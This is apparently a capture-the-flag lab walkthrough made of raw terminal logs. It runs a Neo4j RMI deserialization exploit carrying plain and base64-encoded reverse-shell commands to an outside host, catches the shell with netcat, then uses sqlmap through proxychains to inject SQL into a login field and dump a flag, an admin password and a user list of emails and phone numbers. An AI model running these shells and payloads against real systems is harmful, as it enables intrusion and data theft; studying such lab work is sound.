PS D:\Edge\CVE-2021-34371.jar-main\CVE-2021-34371.jar-main> java -jar rhino_gadget.jar rmi://39.99.143.95:1337 "sh -i >& /dev/tcp/38.55.99.185/7777 0>&1" Trying to enumerate server bindings: Found binding: shell [+] Found valid binding, proceeding to exploit [+] Caught an unmarshalled exception, this is expected. RemoteException occurred in server thread; nested exception is: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is: java.io.IOException [+] Exploit completed
PS D:\Edge\CVE-2021-34371.jar-main\CVE-2021-34371.jar-main> java -jar rhino_gadget.jar rmi://39.99.143.95:1337 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMzguNTUuOTkuMTg1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" Trying to enumerate server bindings: Found binding: shell [+] Found valid binding, proceeding to exploit [+] Caught an unmarshalled exception, this is expected. RemoteException occurred in server thread; nested exception is: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is: java.io.IOException [+] Exploit completed
接下来在vps上进行操作
1 2 3 4 5 6 7 8 9
root@dkhkdB44QUxpXagmmGyT:~/neoj4# nc -lnvp 7777 Listening on 0.0.0.0 7777 Connection received on 39.99.143.95 49118 sh: 0: can't access tty; job control turned off $ whoami neo4j $ $ script -qc /bin/bash /dev/null neo4j@ubuntu:/$
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:40:23 /2025-11-16/ [17:40:23] [INFO] parsing HTTP request from 'test.txt' [17:40:24] [INFO] testing connection to the target URL [proxychains] Strict chain ... 38.55.99.185:1123 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... 172.22.6.38:80 ... OK ... OK [17:40:24] [INFO] checking if the target is protected by some kind of WAF/IPS [17:40:24] [INFO] testing if the target URL content is stable22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:25] [INFO] target URL content is stable [17:40:25] [INFO] testing if POST parameter 'password' is dynamic [17:40:25] [WARNING] POST parameter 'password' does not appear to be dynamic [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:25] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable [17:40:25] [INFO] testing for SQL injection on POST parameter 'password' [17:40:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [proxychains] Strict chain ... 38.55.99.185:1123 ... OK ... 172.22.6.38:80 ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:26] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [17:40:27] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:31] [INFO] testing 'Generic inline queries' ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:34] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:40:46] [INFO] POST parameter 'password' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y [17:41:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [17:41:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:41:16] [INFO] target URL appears to be UNION injectable with 3 columns [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:41:16] [INFO] POST parameter 'password' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ... OK y [17:41:20] [INFO] testing if POST parameter 'username' is dynamic [17:41:20] [WARNING] POST parameter 'username' does not appear to be dynamic [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:41:21] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable [17:41:21] [INFO] testing for SQL injection on POST parameter 'username' [17:41:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [proxychains] Strict chain ... 38.55.99.185:1123 ... OK ... 172.22.6.38:80 ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:41:22] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [17:41:22] [INFO] testing 'Generic inline queries' ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y [17:41:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [17:41:27] [WARNING] POST parameter 'username' does not seem to be injectable sqlmap identified the following injection point(s) with a total of 91 HTTP(s) requests: --- Parameter: password (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: password=123' AND (SELECT 4599 FROM (SELECT(SLEEP(5)))dclH) AND 'mSzJ'='mSzJ&username=admin Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: password=123' UNION ALL SELECT NULL,CONCAT(0x71626a6b71,0x774e6565764e756b626f6c73465a6a5a6b4a79504f6e7752656c6e5458446a6e6951476675426455,0x716a787871),NULL-- -&username=admin --- [17:41:27] [INFO] the back-end DBMS is MySQL [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [17:41:28] [INFO] fetching database names [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK available databases [5]: [*] information_schema [*] mysql [*] oa_db [*] performance_schema [*] sys
[17:41:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.6.38'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:41:52 /2025-11-16/ [17:41:52] [INFO] parsing HTTP request from 'test.txt' [17:41:52] [INFO] resuming back-end DBMS 'mysql' [17:41:52] [INFO] testing connection to the target URL [proxychains] Strict chain ... 38.55.99.185:1123 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... 172.22.6.38:80 ... OK ... OK sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: password=123' AND (SELECT 4599 FROM (SELECT(SLEEP(5)))dclH) AND 'mSzJ'='mSzJ&username=admin Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: password=123' UNION ALL SELECT NULL,CONCAT(0x71626a6b71,0x774e6565764e756b626f6c73465a6a5a6b4a79504f6e7752656c6e5458446a6e6951476675426455,0x716a787871),NULL-- -&username=admin --- [17:41:52] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [17:41:52] [INFO] fetching tables for database: 'oa_db' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 Database: oa_db [3 tables] +------------+ | oa_admin | | oa_f1Agggg | | oa_users | +------------+
[17:41:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.6.38'
┌──(root㉿kali)-[/home/kali] └─# proxychains sqlmap -r test.txt -D oa_db -T oa_f1Agggg --dump [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 ___ __H__ ___ ___[)]_____ ___ ___ {1.9.8#stable} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:44:18 /2025-11-16/ [17:44:18] [INFO] parsing HTTP request from 'test.txt' [17:44:18] [INFO] resuming back-end DBMS 'mysql' [17:44:18] [INFO] testing connection to the target URL [proxychains] Strict chain ... 38.55.99.185:1123 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... 172.22.6.38:80 ... OK ... OK sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: password=123' AND (SELECT 4599 FROM (SELECT(SLEEP(5)))dclH) AND 'mSzJ'='mSzJ&username=admin Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: password=123' UNION ALL SELECT NULL,CONCAT(0x71626a6b71,0x774e6565764e756b626f6c73465a6a5a6b4a79504f6e7752656c6e5458446a6e6951476675426455,0x716a787871),NULL-- -&username=admin --- [17:44:19] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [17:44:19] [INFO] fetching columns for table 'oa_f1Agggg' in database 'oa_db' [17:44:19] [INFO] fetching entries for table 'oa_f1Agggg' in database 'oa_db' [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... OK ... OK Database: oa_db Table: oa_f1Agggg [1 entry] +----+--------------------------------------------+ | id | flag02 | +----+--------------------------------------------+ | 1 | flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} | +----+--------------------------------------------+ [17:44:19] [INFO] table 'oa_db.oa_f1Agggg' dumped to CSV file '/root/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_f1Agggg.csv' [17:44:19] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.6.38' [*] ending @ 17:44:19 /2025-11-16/
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:45:31 /2025-11-16/ [17:45:31] [INFO] parsing HTTP request from 'test.txt' [17:45:31] [INFO] resuming back-end DBMS 'mysql' [17:45:31] [INFO] testing connection to the target URL [proxychains] Strict chain ... 38.55.99.185:1123 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... 172.22.6.38:80 ... OK ... OK sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: password=123' AND (SELECT 4599 FROM (SELECT(SLEEP(5)))dclH) AND 'mSzJ'='mSzJ&username=admin Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: password=123' UNION ALL SELECT NULL,CONCAT(0x71626a6b71,0x774e6565764e756b626f6c73465a6a5a6b4a79504f6e7752656c6e5458446a6e6951476675426455,0x716a787871),NULL-- -&username=admin --- [17:45:32] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [17:45:32] [INFO] fetching columns for table 'oa_admin'in database 'oa_db' [17:45:32] [INFO] fetching entries for table 'oa_admin'in database 'oa_db' [proxychains] Strict chain ... 38.55.99.185:1123 ... OK ... 172.22.6.38:80 ... OK Database: oa_db Table: oa_admin [1 entry] +----+------------------+---------------+ | id | password | username | +----+------------------+---------------+ | 1 | bo2y8kAL3HnXUiQo | administrator | +----+------------------+---------------+
[17:45:32] [INFO] table 'oa_db.oa_admin' dumped to CSV file '/root/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_admin.csv' [17:45:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/172.22.6.38'
[*] ending @ 17:45:32 /2025-11-16/
┌──(root㉿kali)-[/home/kali] └─# proxychains sqlmap -r test.txt -D oa_db -T oa_users --dump [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 ___ __H__ ___ ___[.]_____ ___ ___ {1.9.8#stable} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:45:55 /2025-11-16/ [17:45:55] [INFO] parsing HTTP request from 'test.txt' [17:45:55] [INFO] resuming back-end DBMS 'mysql' [17:45:55] [INFO] testing connection to the target URL [proxychains] Strict chain ... 38.55.99.185:1123 [proxychains] Strict chain ... 38.55.99.185:1123 ... 172.22.6.38:80 ... 172.22.6.38:80 ... OK ... OK sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: password=123' AND (SELECT 4599 FROM (SELECT(SLEEP(5)))dclH) AND 'mSzJ'='mSzJ&username=admin Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: password=123' UNION ALL SELECT NULL,CONCAT(0x71626a6b71,0x774e6565764e756b626f6c73465a6a5a6b4a79504f6e7752656c6e5458446a6e6951476675426455,0x716a787871),NULL-- -&username=admin --- [17:45:55] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [17:45:55] [INFO] fetching columns for table 'oa_users' in database 'oa_db' [17:45:55] [INFO] fetching entries for table 'oa_users' in database 'oa_db' [proxychains] Strict chain ... 38.55.99.185:1123 ... OK ... 172.22.6.38:80 ... OK Database: oa_db Table: oa_users [500 entries] +-----+----------------------------+-------------+-----------------+ | id | email | phone | username | +-----+----------------------------+-------------+-----------------+ [17:45:56] [WARNING] console output will be trimmed to last 256 rows due to large table size | 245 | chenyan@xiaorang.lab | 18281528743 | CHEN YAN | | 246 | tanggui@xiaorang.lab | 18060615547 | TANG GUI | | 247 | buning@xiaorang.lab | 13046481392 | BU NING | | 248 | beishu@xiaorang.lab | 18268508400 | BEI SHU | | 249 | shushi@xiaorang.lab | 17770383196 | SHU SHI | | 250 | fuyi@xiaorang.lab | 18902082658 | FU YI | | 251 | pangcheng@xiaorang.lab | 18823789530 | PANG CHENG | | 252 | tonghao@xiaorang.lab | 13370873526 | TONG HAO | | 253 | jiaoshan@xiaorang.lab | 15375905173 | JIAO SHAN | | 254 | dulun@xiaorang.lab | 13352331157 | DU LUN | | 255 | kejuan@xiaorang.lab | 13222550481 | KE JUAN | | 256 | gexin@xiaorang.lab | 18181553086 | GE XIN | | 257 | lugu@xiaorang.lab | 18793883130 | LU GU | | 258 | guzaicheng@xiaorang.lab | 15309377043 | GU ZAI CHENG | | 259 | feicai@xiaorang.lab | 13077435367 | FEI CAI | | 260 | ranqun@xiaorang.lab | 18239164662 | RAN QUN | | 261 | zhouyi@xiaorang.lab | 13169264671 | ZHOU YI | | 262 | shishu@xiaorang.lab | 18592890189 | SHI SHU | | 263 | yanyun@xiaorang.lab | 15071085768 | YAN YUN | | 264 | chengqiu@xiaorang.lab | 13370162980 | CHENG QIU | | 265 | louyou@xiaorang.lab | 13593582379 | LOU YOU | | 266 | maqun@xiaorang.lab | 15235945624 | MA QUN | | 267 | wenbiao@xiaorang.lab | 13620643639 | WEN BIAO | | 268 | weishengshan@xiaorang.lab | 18670502260 | WEI SHENG SHAN | | 269 | zhangxin@xiaorang.lab | 15763185760 | ZHANG XIN | | 270 | chuyuan@xiaorang.lab | 18420545268 | CHU YUAN | | 271 | wenliang@xiaorang.lab | 13601678032 | WEN LIANG | | 272 | yulvxue@xiaorang.lab | 18304374901 | YU LV XUE | | 273 | luyue@xiaorang.lab | 18299785575 | LU YUE | | 274 | ganjian@xiaorang.lab | 18906111021 | GAN JIAN | | 275 | pangzhen@xiaorang.lab | 13479328562 | PANG ZHEN | | 276 | guohong@xiaorang.lab | 18510220597 | GUO HONG | | 277 | lezhong@xiaorang.lab | 15320909285 | LE ZHONG | | 278 | sheweiyue@xiaorang.lab | 13736399596 | SHE WEI YUE | | 279 | dujian@xiaorang.lab | 15058892639 | DU JIAN | | 280 | lidongjin@xiaorang.lab | 18447207007 | LI DONG JIN | | 281 | hongqun@xiaorang.lab | 15858462251 | HONG QUN | | 282 | yexing@xiaorang.lab | 13719043564 | YE XING | | 283 | maoda@xiaorang.lab | 13878840690 | MAO DA | | 284 | qiaomei@xiaorang.lab | 13053207462 | QIAO MEI | | 285 | nongzhen@xiaorang.lab | 15227699960 | NONG ZHEN | | 286 | dongshu@xiaorang.lab | 15695562947 | DONG SHU | | 287 | zhuzhu@xiaorang.lab | 13070163385 | ZHU ZHU | | 288 | jiyun@xiaorang.lab | 13987332999 | JI YUN | | 289 | qiguanrou@xiaorang.lab | 15605983582 | QI GUAN ROU | | 290 | yixue@xiaorang.lab | 18451603140 | YI XUE | | 291 | chujun@xiaorang.lab | 15854942459 | CHU JUN | | 292 | shenshan@xiaorang.lab | 17712052191 | SHEN SHAN | | 293 | lefen@xiaorang.lab | 13271196544 | LE FEN | | 294 | yubo@xiaorang.lab | 13462202742 | YU BO | | 295 | helianrui@xiaorang.lab | 15383000907 | HE LIAN RUI | | 296 | xuanqun@xiaorang.lab | 18843916267 | XUAN QUN | | 297 | shangjun@xiaorang.lab | 15162486698 | SHANG JUN | | 298 | huguang@xiaorang.lab | 18100586324 | HU GUANG | | 299 | wansifu@xiaorang.lab | 18494761349 | WAN SI FU | | 300 | fenghong@xiaorang.lab | 13536727314 | FENG HONG | | 301 | wanyan@xiaorang.lab | 17890844429 | WAN YAN | | 302 | diyan@xiaorang.lab | 18534028047 | DI YAN | | 303 | xiangyu@xiaorang.lab | 13834043047 | XIANG YU | | 304 | songyan@xiaorang.lab | 15282433280 | SONG YAN | | 305 | fandi@xiaorang.lab | 15846960039 | FAN DI | | 306 | xiangjuan@xiaorang.lab | 18120327434 | XIANG JUAN | | 307 | beirui@xiaorang.lab | 18908661803 | BEI RUI | | 308 | didi@xiaorang.lab | 13413041463 | DI DI | | 309 | zhubin@xiaorang.lab | 15909558554 | ZHU BIN | | 310 | lingchun@xiaorang.lab | 13022790678 | LING CHUN | | 311 | zhenglu@xiaorang.lab | 13248244873 | ZHENG LU | | 312 | xundi@xiaorang.lab | 18358493414 | XUN DI | | 313 | wansishun@xiaorang.lab | 18985028319 | WAN SI SHUN | | 314 | yezongyue@xiaorang.lab | 13866302416 | YE ZONG YUE | | 315 | bianmei@xiaorang.lab | 18540879992 | BIAN MEI | | 316 | shanshao@xiaorang.lab | 18791488918 | SHAN SHAO | | 317 | zhenhui@xiaorang.lab | 13736784817 | ZHEN HUI | | 318 | chengli@xiaorang.lab | 15913267394 | CHENG LI | | 319 | yufen@xiaorang.lab | 18432795588 | YU FEN | | 320 | jiyi@xiaorang.lab | 13574211454 | JI YI | | 321 | panbao@xiaorang.lab | 13675851303 | PAN BAO | | 322 | mennane@xiaorang.lab | 15629706208 | MEN NAN E | | 323 | fengsi@xiaorang.lab | 13333432577 | FENG SI | | 324 | mingyan@xiaorang.lab | 18296909463 | MING YAN | | 325 | luoyou@xiaorang.lab | 15759321415 | LUO YOU | | 326 | liangduanqing@xiaorang.lab | 13150744785 | LIANG DUAN QING | | 327 | nongyan@xiaorang.lab | 18097386975 | NONG YAN | | 328 | haolun@xiaorang.lab | 15152700465 | HAO LUN | | 329 | oulun@xiaorang.lab | 13402760696 | OU LUN | | 330 | weichipeng@xiaorang.lab | 18057058937 | WEI CHI PENG | | 331 | qidiaofang@xiaorang.lab | 18728297829 | QI DIAO FANG | | 332 | xuehe@xiaorang.lab | 13398862169 | XUE HE | | 333 | chensi@xiaorang.lab | 18030178713 | CHEN SI | | 334 | guihui@xiaorang.lab | 17882514129 | GUI HUI | | 335 | fuyue@xiaorang.lab | 18298436549 | FU YUE | | 336 | wangxing@xiaorang.lab | 17763645267 | WANG XING | | 337 | zhengxiao@xiaorang.lab | 18673968392 | ZHENG XIAO | | 338 | guhui@xiaorang.lab | 15166711352 | GU HUI | | 339 | baoai@xiaorang.lab | 15837430827 | BAO AI | | 340 | hangzhao@xiaorang.lab | 13235488232 | HANG ZHAO | | 341 | xingye@xiaorang.lab | 13367587521 | XING YE | | 342 | qianyi@xiaorang.lab | 18657807767 | QIAN YI | | 343 | xionghong@xiaorang.lab | 17725874584 | XIONG HONG | | 344 | zouqi@xiaorang.lab | 15300430128 | ZOU QI | | 345 | rongbiao@xiaorang.lab | 13034242682 | RONG BIAO | | 346 | gongxin@xiaorang.lab | 15595839880 | GONG XIN | | 347 | luxing@xiaorang.lab | 18318675030 | LU XING | | 348 | huayan@xiaorang.lab | 13011805354 | HUA YAN | | 349 | duyue@xiaorang.lab | 15515878208 | DU YUE | | 350 | xijun@xiaorang.lab | 17871583183 | XI JUN | | 351 | daiqing@xiaorang.lab | 18033226216 | DAI QING | | 352 | yingbiao@xiaorang.lab | 18633421863 | YING BIAO | | 353 | hengteng@xiaorang.lab | 15956780740 | HENG TENG | | 354 | changwu@xiaorang.lab | 15251485251 | CHANG WU | | 355 | chengying@xiaorang.lab | 18788248715 | CHENG YING | | 356 | luhong@xiaorang.lab | 17766091079 | LU HONG | | 357 | tongxue@xiaorang.lab | 18466102780 | TONG XUE | | 358 | xiangqian@xiaorang.lab | 13279611385 | XIANG QIAN | | 359 | shaokang@xiaorang.lab | 18042645434 | SHAO KANG | | 360 | nongzhu@xiaorang.lab | 13934236634 | NONG ZHU | | 361 | haomei@xiaorang.lab | 13406913218 | HAO MEI | | 362 | maoqing@xiaorang.lab | 15713298425 | MAO QING | | 363 | xiai@xiaorang.lab | 18148404789 | XI AI | | 364 | bihe@xiaorang.lab | 13628593791 | BI HE | | 365 | gaoli@xiaorang.lab | 15814408188 | GAO LI | | 366 | jianggong@xiaorang.lab | 15951118926 | JIANG GONG | | 367 | pangning@xiaorang.lab | 13443921700 | PANG NING | | 368 | ruishi@xiaorang.lab | 15803112819 | 